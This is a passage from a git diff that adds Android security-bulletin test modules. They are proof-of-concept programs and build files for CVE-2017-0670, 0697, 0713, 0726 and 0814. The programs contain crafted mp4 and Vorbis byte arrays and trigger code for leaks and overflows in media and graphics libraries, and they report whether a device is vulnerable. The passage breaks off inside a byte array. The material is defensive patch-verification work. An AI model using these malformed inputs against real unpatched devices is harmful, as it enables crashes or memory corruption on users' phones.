+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
new file mode 100644
index 0000000..6380e92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0670/poc.c
@@ -0,0 +1,103 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+ #include <stdlib.h>
+ #include "../includes/common.h"
+
+ //This PoC is only for 32-bit builds
+#if _32_BIT
+#include <unistd.h>
+#include <string.h>
+#include <dlfcn.h>
+
+#define MAX_STRLEN 256
+#define LOOP_COUNT 10
+#define LIB_NAME "/system/lib/libandroid.so"
+
+int runDlopenDlcloseLibraryLoop(char *libName, unsigned char count) {
+    while (count) {
+        void *lib_handle = dlopen(libName, RTLD_NOW);
+        if (!lib_handle) {
+            return EXIT_FAILURE;
+        }
+        if (dlclose(lib_handle)) {
+            return EXIT_FAILURE;
+        }
+        count--;
+    }
+    return EXIT_SUCCESS;
+}
+int getMemoryUsage(unsigned long *memUsage) {
+    char cmd[MAX_STRLEN];
+    char buf[MAX_STRLEN];
+    memset(cmd, 0, MAX_STRLEN);
+    memset(buf, 0, MAX_STRLEN);
+    sprintf(cmd, "cat /proc/%d/maps | grep anon:linker_alloc]", getpid());
+    FILE *fpMem = popen(cmd, "r");
+    if (!fpMem) {
+        return EXIT_FAILURE;
+    }
+    unsigned long totalMemUsage = 0;
+    while (fgets(buf, MAX_STRLEN, fpMem) != NULL) {
+        unsigned long mem1 = 0;
+        unsigned long mem2 = 0;
+        int numOfItemsRead = sscanf(buf, "%lx-%lx", &mem1, &mem2);
+        if (numOfItemsRead < 2) {
+            pclose(fpMem);
+            return EXIT_FAILURE;
+        }
+        totalMemUsage += mem2 - mem1;
+    }
+    pclose(fpMem);
+    *memUsage = totalMemUsage;
+    return EXIT_SUCCESS;
+}
+#endif /* _32_BIT */
+
+int main() {
+
+//This PoC is only for 32-bit builds
+#if _32_BIT
+    /* Memory usage is expected to rise during first few dlopen-dlcose pairs  */
+    /* due to linker initializations. Hence memory is not tracked during      */
+    /* first few dlopen-dlcose pairs.                                         */
+    if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+        return EXIT_FAILURE;
+    }
+
+    /* The linker specific initializations should be complete. Hence Memory  */
+    /* usage is tracked from this point onwards. Further dlopen-dlcose pairs */
+    /* are not expected to increase memory usage                             */
+    unsigned long memUsageBefore = 0;
+    if (getMemoryUsage(&memUsageBefore)) {
+        return EXIT_FAILURE;
+    }
+
+    if (runDlopenDlcloseLibraryLoop(LIB_NAME, LOOP_COUNT)) {
+        return EXIT_FAILURE;
+    }
+
+    unsigned long memUsageAfter = 0;
+    if (getMemoryUsage(&memUsageAfter)) {
+        return EXIT_FAILURE;
+    }
+
+    if (memUsageBefore != memUsageAfter) {
+        return EXIT_VULNERABLE;
+    }
+#endif /* _32_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk
new file mode 100644
index 0000000..b774326
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0697
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
new file mode 100644
index 0000000..a5b35e3
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0697/poc.cpp
@@ -0,0 +1,95 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+
+#define LIB_NAME                 "/system/lib64/extractors/libmp4extractor.so"
+#define PSSH_BOX_SIZE            1048576
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+    return (size == PSSH_BOX_SIZE);
+}
+
+int main(int argc, char* argv[]) {
+    (void)argc;
+    (void)argv;
+
+#if _64_BIT
+    if (argc < 2) {
+        return EXIT_FAILURE;
+    }
+
+    void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+                                                                    argv[1]);
+    if (dataSource == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor::GetExtractorDef getDef =
+            (MediaExtractor::GetExtractorDef) dlsym(libHandle,
+                                                    "GETEXTRACTORDEF");
+    if (!getDef) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    MediaExtractor::CreatorFunc creator = NULL;
+    MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+    float confidence;
+    creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+    if (!creator) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor *ret = creator(dataSource.get(), meta);
+    if (ret == nullptr) {
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    sp < MetaData > metaData = new MetaData();
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    ret->getTrackMetaData(*metaData.get(), 0, 1);
+    enable_selective_overload = ENABLE_NONE;
+
+    dlclose(libHandle);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk
new file mode 100644
index 0000000..2d30646
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/Android.mk
@@ -0,0 +1,32 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0713
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := external/skia/include/core
+LOCAL_SHARED_LIBRARIES := libhwui
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp
new file mode 100644
index 0000000..ca922be
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0713/poc.cpp
@@ -0,0 +1,81 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <sys/mman.h>
+#include "SkDocument.h"
+#include "SkStream.h"
+#include "SkTypeface.h"
+#include "SkCanvas.h"
+
+#define ALLOC_SIZE  191422
+void* g_mmap_ptr = NULL;
+
+void * operator new(size_t size) {
+    if (size != ALLOC_SIZE) {
+        return malloc(size);
+    }
+    void* mem_ptr = mmap(NULL, size, PROT_READ | PROT_WRITE,
+                         MAP_FILE | MAP_SHARED | MAP_ANONYMOUS, -1, 0);
+    if (mem_ptr == MAP_FAILED) {
+        return malloc(size);
+    }
+    g_mmap_ptr = mem_ptr;
+    return mem_ptr;
+}
+
+void operator delete(void* mem_ptr) {
+    if(g_mmap_ptr == mem_ptr) {
+        munmap(mem_ptr, ALLOC_SIZE);
+        return;
+    }
+    return free(mem_ptr);
+}
+
+struct NullWStream : public SkWStream {
+    NullWStream()
+            : fN(0) {
+    }
+    bool write(const void*, size_t n) override {
+        fN += n;
+        return true;
+    }
+    size_t bytesWritten() const override {
+        return fN;
+    }
+    size_t fN;
+};
+
+int main(int argc, char **argv) {
+    if (argc != 2) {
+        return EXIT_FAILURE;
+    }
+    SkWStream* outputStream = new NullWStream();
+    SkScalar pageWidth = 100;
+    SkScalar pageHeight = 100;
+    SkPaint paint;
+    char text[] = "C";
+    sk_sp < SkDocument > pdfDocument(SkDocument::MakePDF(outputStream));
+    SkCanvas* pageCanvas = pdfDocument->beginPage(pageWidth, pageHeight);
+    sk_sp < SkTypeface > typeFace = SkTypeface::MakeFromFile(argv[1]);
+    paint.setTypeface(typeFace);
+    pageCanvas->drawText(text, strlen(text), 0, 0, paint);
+    pdfDocument->endPage();
+    pdfDocument->close();
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
new file mode 100644
index 0000000..61bb374
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0726
+LOCAL_SRC_FILES:= poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils_track.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libmediaextractor
+LOCAL_C_INCLUDES := frameworks/av/media/libstagefright
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+LOCAL_CFLAGS += -DCHECK_MEMORY_LEAK -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
new file mode 100644
index 0000000..b72b986
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0726/poc.cpp
@@ -0,0 +1,127 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <dlfcn.h>
+#include <media/IMediaHTTPService.h>
+#include <media/DataSource.h>
+#include <media/stagefright/DataSourceFactory.h>
+#include <media/MediaExtractor.h>
+#include <media/stagefright/MetaData.h>
+#include <media/IMediaExtractor.h>
+#include <media/DataSourceBase.h>
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+unsigned char mp4_data[] = { 0x00, 0x00, 0x00, 0x1C, 0x66, 0x74, 0x79, 0x70,
+        0x6D, 0x70, 0x34, 0x32, 0x00, 0x00, 0x00, 0x00, 0x6D, 0x70, 0x34, 0x32,
+        0x64, 0x62, 0x79, 0x31, 0x69, 0x73, 0x6F, 0x6D, 0x00, 0x00, 0x00, 0x74,
+        0x6D, 0x6F, 0x6F, 0x76, 0x00, 0x00, 0x00, 0x6C, 0x75, 0x64, 0x74, 0x61,
+        0x00, 0x00, 0x00, 0x64, 0x6D, 0x65, 0x74, 0x61, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0x00, 0x00, 0x58, 0x69, 0x6C, 0x73, 0x74, 0x00, 0x00, 0x00, 0x50,
+        0x2D, 0x2D, 0x2D, 0x2D, 0x00, 0x00, 0x00, 0x1C, 0x6D, 0x65, 0x61, 0x6E,
+        0x00, 0x00, 0x00, 0x00, 0x63, 0x6F, 0x6D, 0x2E, 0x61, 0x70, 0x70, 0x6C,
+        0x65, 0x2E, 0x69, 0x54, 0x75, 0x6E, 0x65, 0x73, 0x00, 0x00, 0x00, 0x14,
+        0x6E, 0x61, 0x6D, 0x65, 0x00, 0x00, 0x00, 0x00, 0x69, 0x54, 0x75, 0x6E,
+        0x53, 0x4D, 0x50, 0x42, 0x00, 0x08, 0x00, 0x18, 0x64, 0x61, 0x74, 0x61,
+        0x33, 0x32, 0x20, 0x34, 0x20, 0x33, 0x20, 0x32, 0x33, 0x32, 0x20, 0x34,
+        0x20, 0x33, 0x20, 0x32 };
+
+#define TOTAL_SIZE   524432
+#define DATA_SIZE    144
+#define TRACK_SIZE   (TOTAL_SIZE - DATA_SIZE + 16 + 1)
+#define TMP_FILE     "/data/local/tmp/temp_cve_2017_0726"
+#define LIB_NAME     "/system/lib64/extractors/libmp4extractor.so"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+bool is_tracking_required(size_t size) {
+    return (size == TRACK_SIZE);
+}
+
+int main() {
+
+#if _64_BIT
+    FILE* fp = fopen(TMP_FILE, "wb");
+    if (!fp) {
+        return EXIT_FAILURE;
+    }
+
+    char zero_array[TOTAL_SIZE - DATA_SIZE];
+    memset(zero_array, 0, (TOTAL_SIZE - DATA_SIZE) * sizeof(char));
+
+    /* Write mp4 stream */
+    fwrite(mp4_data, 1, DATA_SIZE, fp);
+
+    /* Append 0's to create custom PoC */
+    fwrite(zero_array, 1, (TOTAL_SIZE - DATA_SIZE), fp);
+    fclose(fp);
+
+    void *libHandle = dlopen(LIB_NAME, RTLD_NOW | RTLD_LOCAL);
+    if (!libHandle) {
+        remove(TMP_FILE);
+        return EXIT_FAILURE;
+    }
+
+    sp < DataSource > dataSource = DataSourceFactory::CreateFromURI(NULL,
+    TMP_FILE);
+    if (dataSource == nullptr) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor::GetExtractorDef getDef =
+            (MediaExtractor::GetExtractorDef) dlsym(libHandle,
+                                                    "GETEXTRACTORDEF");
+    if (!getDef) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    void *meta = nullptr;
+    MediaExtractor::CreatorFunc creator = NULL;
+    MediaExtractor::FreeMetaFunc freeMeta = nullptr;
+    float confidence;
+    creator = getDef().sniff(dataSource.get(), &confidence, &meta, &freeMeta);
+    if (!creator) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    MediaExtractor *ret = creator(dataSource.get(), meta);
+    if (ret == nullptr) {
+        remove(TMP_FILE);
+        dlclose(libHandle);
+        return EXIT_FAILURE;
+    }
+
+    if (meta != nullptr && freeMeta != nullptr) {
+        freeMeta(meta);
+    }
+
+    sp < MetaData > metaData = new MetaData();
+    enable_selective_overload = ENABLE_MALLOC_CHECK;
+    ret->getTrackMetaData(*metaData.get(), 0, 1);
+    enable_selective_overload = ENABLE_NONE;
+
+    remove(TMP_FILE);
+    dlclose(libHandle);
+#endif /* _64_BIT */
+
+    return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk
new file mode 100644
index 0000000..9da15a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0814
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES += ./external/tremolo
+LOCAL_SHARED_LIBRARIES := libvorbisidec
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -DCHECK_OVERFLOW
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp
new file mode 100644
index 0000000..3f79113
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0814/poc.cpp
@@ -0,0 +1,379 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <string.h>
+#include <stdlib.h>
+
+#define REF_COUNT     1
+#define DECODE_PACKET 1
+
+extern "C" {
+#include <Tremolo/codec_internal.h>
+
+int _vorbis_unpack_books(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_info(vorbis_info *vi, oggpack_buffer *opb);
+int _vorbis_unpack_comment(vorbis_comment *vc, oggpack_buffer *opb);
+}
+const uint8_t packInfoData[] = { 0x00, 0x00, 0x00, 0x00, 0x02, 0x80, 0xBB, 0x00,
+        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+        0x00, 0xBB, 0x01 };
+
+unsigned char unpackBookData[] = { 0x1C, 0x42, 0x43, 0x56, 0x02, 0x00, 0x10,
+        0x00, 0x00, 0x84, 0x74, 0x9A, 0x59, 0xAA, 0x01, 0x22, 0xCC, 0x40, 0x86,
+        0x81, 0xD0, 0x90, 0x95, 0x00, 0x00, 0x02, 0x00, 0x00, 0x60, 0x84, 0x22,
+        0x0C, 0x31, 0x20, 0x34, 0x64, 0x25, 0x00, 0x00, 0x10, 0x00, 0x00, 0x20,
+        0x86, 0x92, 0x83, 0x68, 0x42, 0x6B, 0xCE, 0x37, 0xE7, 0x38, 0x68, 0x96,
+        0x83, 0xA6, 0x52, 0x6C, 0x4E, 0x07, 0x27, 0x52, 0x6D, 0x9E, 0xE4, 0xA6,
+        0x62, 0x6E, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xB2, 0x39, 0x67, 0x8C, 0x73,
+        0xCE, 0x39, 0xA7, 0x28, 0x67, 0x16, 0x83, 0x66, 0x42, 0x6B, 0xCE, 0x39,
+        0x27, 0x31, 0x68, 0x96, 0x82, 0x66, 0x42, 0x6B, 0xCE, 0x39, 0xE7, 0x49,
+        0x6C, 0x1E, 0xB4, 0xA6, 0x4A, 0x6B, 0xCE, 0x39, 0x67, 0x9C, 0x73, 0x3A,
+        0x18, 0x67, 0x84, 0x71, 0xCE, 0x39, 0xA7, 0x49, 0x6B, 0x1E, 0xA4, 0x66,
+        0x63, 0x6D, 0xCE, 0x39, 0x67, 0x41, 0x6B, 0x9A, 0xA3, 0xE6, 0x52, 0x6C,
+        0xCE, 0x39, 0x27, 0x52, 0x6E, 0x9E, 0xD4, 0xE6, 0x52, 0x6D, 0xCE, 0x39,
+        0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xA7, 0x7A,
+        0x71, 0x3A, 0x07, 0xE7, 0x84, 0x73, 0xCE, 0x39, 0x27, 0x6A, 0x6F, 0xAE,
+        0xE5, 0x26, 0x74, 0x71, 0xCE, 0x39, 0xE7, 0x93, 0x71, 0xBA, 0x37, 0x27,
+        0x84, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73, 0xCE, 0x39, 0xE7, 0x9C, 0x73,
+        0xCE, 0x39, 0x27, 0x08, 0x0D, 0x59, 0x09, 0x00, 0x00, 0x01, 0x00, 0x10,
+        0x84, 0x61, 0x63, 0x18, 0x77, 0x0A, 0x82, 0xF4, 0x39, 0x1A, 0x88, 0x51,
+        0x84, 0x98, 0x86, 0x4C, 0x7A, 0xD0, 0x3D, 0x3A, 0x4C, 0x82, 0xC6, 0x20,
+        0xA7, 0x90, 0x7A, 0x34, 0x3A, 0x1A, 0x29, 0xA5, 0x0E, 0x42, 0x49, 0x65,
+        0x9C, 0x94, 0xD2, 0x09, 0x42, 0x43, 0x56, 0x02, 0x00, 0x80, 0x00, 0x00,
+        0x10, 0x42, 0x48, 0x21, 0x85, 0x14, 0x52, 0x48, 0x21, 0x85, 0x14, 0x52,
+        0x48, 0x21, 0x85, 0x18, 0x62, 0x88, 0x21, 0x86, 0x9C, 0x72, 0xCA, 0x29,
+        0xA8, 0xA0, 0x92, 0x4A, 0x2A, 0xAA, 0x28, 0xA3, 0xCC, 0x32, 0xCB, 0x2C,
+        0xB3, 0xCC, 0x32, 0xCB, 0x2C, 0xB3, 0x0E, 0x3B, 0xEB, 0xAC, 0xC3, 0x0E,
+        0x43, 0x0C, 0x31, 0xC4, 0xD0, 0x4A, 0x2B, 0xB1, 0xD4, 0x54, 0x5B, 0x8D,
+        0x35, 0xD6, 0x9A, 0x7B, 0xCE, 0xB9, 0xE6, 0x20, 0xAD, 0x95, 0xD6, 0x5A,
+        0x6B, 0xAD, 0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x82, 0xD0, 0x90, 0x95,
+        0x00, 0x00, 0x08, 0x00, 0x00, 0x81, 0x90, 0x41, 0x06, 0x19, 0x64, 0x14,
+        0x52, 0x48, 0x21, 0x85, 0x18, 0x62, 0xCA, 0x29, 0xA7, 0x9C, 0x82, 0x0A,
+        0x2A, 0x20, 0x34, 0x64, 0x25, 0x00, 0x00, 0x06, 0x00, 0xC0, 0x21, 0x67,
+        0xA0, 0x81, 0x06, 0x1A, 0x68, 0xA0, 0x81, 0x06, 0x1A, 0x68, 0xA0, 0x71,
+        0xC6, 0x19, 0x88, 0x20, 0x82, 0x08, 0x22, 0xA8, 0xA4, 0x92, 0x4C, 0x3A,
+        0x0A, 0x29, 0xB5, 0xD8, 0x6A, 0xCC, 0x31, 0xD7, 0x5E, 0x83, 0x0E, 0x3A,
+        0xF7, 0x9E, 0x7B, 0xEF, 0xB9, 0xF8, 0x1C, 0x84, 0x52, 0x4A, 0x29, 0xA5,
+        0x94, 0x52, 0x4A, 0x29, 0xA5, 0x94, 0x52, 0x4A, 0x29, 0x25, 0x08, 0x0D,
+        0x59, 0x09, 0x00, 0x80, 0x00, 0x00, 0x00, 0x08, 0x21, 0x84, 0x10, 0x52,
+        0x48, 0x21, 0x85, 0x14, 0x52, 0x8A, 0x31, 0xC6, 0x1C, 0x73, 0x0E, 0x3A,
+        0x09, 0x25, 0x04, 0x42, 0x43, 0x56, 0x02, 0x00, 0x60, 0x00, 0x00, 0x0C,
+        0x31, 0xC4, 0x18, 0x64, 0x90, 0x41, 0x48, 0x21, 0x85, 0x18, 0x62, 0x8A,
+        0x29, 0xC7, 0x1C, 0x73, 0x0C, 0x3A, 0x08, 0x21, 0x94, 0x52, 0x52, 0x68,
+        0xA1, 0x85, 0x5C, 0x6A, 0x88, 0x25, 0x96, 0x56, 0x5A, 0x89, 0xA5, 0xA5,
+        0x98, 0x6A, 0x8B, 0xB1, 0xD6, 0x58, 0x73, 0xED, 0x31, 0xD6, 0xDE, 0x7B,
+        0xEF, 0xBD, 0xF7, 0xDE, 0x7B, 0xEF, 0xBD, 0xF7, 0xDE, 0x7B, 0xCE, 0x81,
+        0xD0, 0x90, 0x95, 0x00, 0x40, 0x04, 0x00, 0x00, 0x83, 0x0C, 0x22, 0x88,
+        0x20, 0x82, 0x8C, 0x31, 0x06, 0x21, 0x04, 0x84, 0x86, 0xAC, 0x04, 0x00,
+        0x40, 0x00, 0x00, 0x10, 0x62, 0x88, 0x31, 0xC6, 0x20, 0x84, 0x10, 0x52,
+        0x88, 0x21, 0xA7, 0x9C, 0x82, 0x4C, 0x32, 0xE9, 0xA4, 0xA3, 0x90, 0x02,
+        0xA1, 0x21, 0x2B, 0x01, 0x00, 0x27, 0x00, 0x00, 0x84, 0x11, 0x47, 0x24,
+        0x71, 0x04, 0x12, 0x67, 0xA0, 0x81, 0x08, 0x2A, 0xA9, 0x20, 0xA3, 0xCC,
